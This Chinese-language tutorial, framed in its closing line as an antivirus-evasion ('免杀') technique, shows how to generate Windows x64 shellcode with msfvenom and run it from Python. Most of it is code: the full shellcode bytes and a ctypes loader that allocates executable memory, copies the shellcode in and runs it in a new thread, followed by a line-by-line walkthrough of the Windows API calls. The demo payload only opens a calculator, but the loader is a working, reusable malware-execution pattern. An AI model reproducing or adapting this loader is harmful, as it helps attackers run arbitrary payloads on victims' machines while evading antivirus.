0x01 生成shellcode首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。
msfvenom -p windows/x64/exec cmd='calc.exe' -f py
0x02 加载与执行shellcode的程序程序为:
# -*- coding:utf-8 -*-import ctypesfrom ctypes import *from ctypes.wintypes import *import syspage_execute_readwrite = 0x00000040mem_commit = 0x3000process_all_access = (0x000f0000 | 0x00100000 | 0xfff)virtualalloc = windll.kernel32.virtualallocrtlmovememory = windll.kernel32.rtlmovememorycreatethread = windll.kernel32.createthreadwaitforsingleobject = windll.kernel32.waitforsingleobjectopenprocess = windll.kernel32.openprocessvirtualallocex = windll.kernel32.virtualallocexwriteprocessmemory = windll.kernel32.writeprocessmemorycreateremotethread = windll.kernel32.createremotethreadshellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00")def run1(): virtualalloc.restype = ctypes.c_void_p #重载函数返回类型为void p = virtualalloc(c_int(0),c_int(len(shellcode)),mem_commit,page_execute_readwrite)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 rtlmovememory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = createthread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 waitforsingleobject(c_int(h),c_int(-1))#检测线程创建事件if __name__ == "__main__": run1()
0x03 程序解释导入模块,并且程序分配内存还有可进行读写操作。
import ctypesfrom ctypes import *from ctypes.wintypes import *import syspage_execute_readwrite = 0x00000040mem_commit = 0x3000process_all_access = (0x000f0000 | 0x00100000 | 0xfff)
区域可执行代码,可读可写
page_execute_readwrite = 0x00000040
分配内存
mem_commit = 0x3000
给予进程所有权限
process_all_access = (0x000f0000 | 0x00100000 | 0xfff)
调用windows api
virtualalloc = windll.kernel32.virtualallocrtlmovememory = windll.kernel32.rtlmovememorycreatethread = windll.kernel32.createthreadwaitforsingleobject = windll.kernel32.waitforsingleobjectopenprocess = windll.kernel32.openprocessvirtualallocex = windll.kernel32.virtualallocexwriteprocessmemory = windll.kernel32.writeprocessmemorycreateremotethread = windll.kernel32.createremotethread
将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处理
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00")
创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:
def run1(): virtualalloc.restype = ctypes.c_void_p #重载函数返回类型为void p = virtualalloc(c_int(0),c_int(len(shellcode)),mem_commit,page_execute_readwrite)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 rtlmovememory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = createthread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 waitforsingleobject(c_int(h),c_int(-1))#检测线程创建事件
virtualalloc是用来申请内存空间,是一个windows api函数,它的声明为:
lpvoid virtualalloc{lpvoid lpaddress, // 要分配的内存区域的地址dword dwsize, // 分配的大小dword flallocationtype, // 分配的类型dword flprotect // 该内存的初始保护属性};
rtlmovememory从指定内存中复制内存至另一内存里.语法为:
void rtlmovememory(void unaligned *destination,const void unaligned *source,size_t length);
参数:
destination :指向移动目的地址的指针。
source :指向要复制的内存地址的指针。
length :指定要复制的字节数。
createthread是一种微软在windows api中提供了建立新的线程的函数,该函数在主线程的基础上创建一个新线程。
函数原型:
handle createthread(lpsecurity_attributes lpthreadattributes,//sdsize_t dwstacksize,//initialstacksizelpthread_start_routine lpstartaddress,//threadfunctionlpvoid lpparameter,//threadargumentdword dwcreationflags,//creationoptionlpdword lpthreadid//threadidentifier)
参数意义
lpthreadattributes:指向security_attributes型态的结构的指针。在windows 98中忽略该参数。在windows nt中,null使用默认安全性,不可以被子线程继承,否则需要定义一个结构体将它的binherithandle成员初始化为true。
dwstacksize,设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,windows根据需要动态延长堆栈的大小。
lpstartaddress,指向线程函数的指针,形式:@函数名,函数名称没有限制
lpparameter:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为null。
dwcreationflags :线程标志,可取值如下
(1)create_suspended(0x00000004):创建一个挂起的线程,
(2)0:表示创建后立即激活。
(3)stack_size_param_is_a_reservation(0x00010000):dwstacksize参数指定初始的保留堆栈 的大小,否则,dwstacksize指定提交的大小。该标记值在windows 2000/nt and windows me/98/95上不支持。
lpthreadid:保存新线程的id。
waitforsingleobject是一种windows api函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 synchronize 访问权限。
声明:
dword winapi waitforsingleobject(__in handle hhandle,__in dword dwmilliseconds);
hhandle[in]对象句柄。可以指定一系列的对象,如event、job、memory resource notification、mutex、process、semaphore、thread、waitable timer等。
dwmilliseconds[in]定时时间间隔,单位为milliseconds(毫秒).如果指定一个非零值,函数处于等待状态直到hhandle标记的对象被触发,或者时间到了。如果dwmilliseconds为0,对象没有被触发信号,函数不会进入一个等待状态,它总是立即返回。如果dwmilliseconds为infinite,对象被触发信号后,函数才会返回。
运行程序可以成功弹出计算器。
以上就是何为python免杀技术shellcode的加载和执行方法?的详细内容。